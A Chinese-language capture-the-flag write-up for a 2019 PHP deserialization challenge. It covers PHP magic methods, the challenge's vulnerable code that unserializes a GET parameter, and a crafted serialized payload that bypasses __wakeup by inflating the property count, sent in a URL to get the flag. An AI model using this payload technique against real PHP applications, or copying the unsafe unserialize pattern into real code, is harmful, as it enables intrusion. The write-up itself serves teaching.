【PHP反序列化】极客大挑战2019 PHP WriteUp

前景知识:

PHP序列化与反序列化:

转自Smi1e师傅:PHP反序列化攻击拓展 | Smi1e

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

  • 序列化与反序列化与两个函数有关,分别是 serialize()unserialize() 这两个函数。
  • 一般常用于传递 object ,object对象没法直接传值,所以需要先序列化为一段 字符串,接收方接收到后进行反序列化操作后即可得到原object对象。
  • 当序列化对象时,PHP将试图在序列动作之前调用该对象的成员函数 __sleep() ,这就允许对象在被序列化之前 做任何清除操作。类似的,当使用 unserialize() 恢复对象之前,将调用 __wakeup() 成员函数
  • 反序列化函数unserialize()接收一个string类型的变量,该值为已序列化后的字符串。
  • 若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP会自动地试图去调用 __wakeup() 成员函数 (如果存在的话)。

PHP反序列化漏洞成因:

PHP魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

1
2
3
4
5
__construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的。
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用

private对象字段名的序列化:

图片.png

WriteUp:

打开题目,界面如下:

image-20210608184522577

正常的解题,会使用dirsearch进行扫描,但是BUU上的题目,请求太多会返回429,所以这边就不扫描了

看题目界面,提到有备份网站的习惯,无非就几种www.zipwww.tar.gz这些

这题的话可以直接访问www.zip下载源码

image-20210608184724602

解压以后,得到以下文件

image-20210608184814361

先打开flag.php

image-20210608184836220

很明显是一个假flag

看一下index.phpclass.php中的内容

其中index.phpphp代码内容如下:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

可以看到,index.php包含了class.php,并且需要在index.phpget传一个select的变量,并且进行反序列化,将反序列化的结果返回给$res

其中class.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

可以看到有一个class类名称为Name,这个classprivate类型变量usernamepassword进行校验,如果username = admin 并且password = 100那么就可以得到flag

但是由前景知识知:

若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP会自动地试图去调用 __wakeup() 成员函数 (如果存在的话)。

而在这题中__wakeup()这个函数会将传入的username手动赋值为guest,因此需要绕过__wakeup()函数

绕过的方法就是将序列化之后的结果的对象修改为与之前的不一致即可

因此写个序列化的php程序

1
2
3
4
5
6
7
8
9
10
11
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}

$a = new Name();
$a1 = urlencode(serialize($a));
var_dump($a1);
?>

返回值为:

1
string(145) "O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D"

为了绕过__wakeup()函数

将序列化的结果修改为:

1
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

index.phpselect传入

1
http://cf21fed0-26e6-46eb-b7cd-ff33e13e8a85.node3.buuoj.cn/?select=O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag为:flag{fc4b358f-8f42-4775-97dd-bc81375392b4}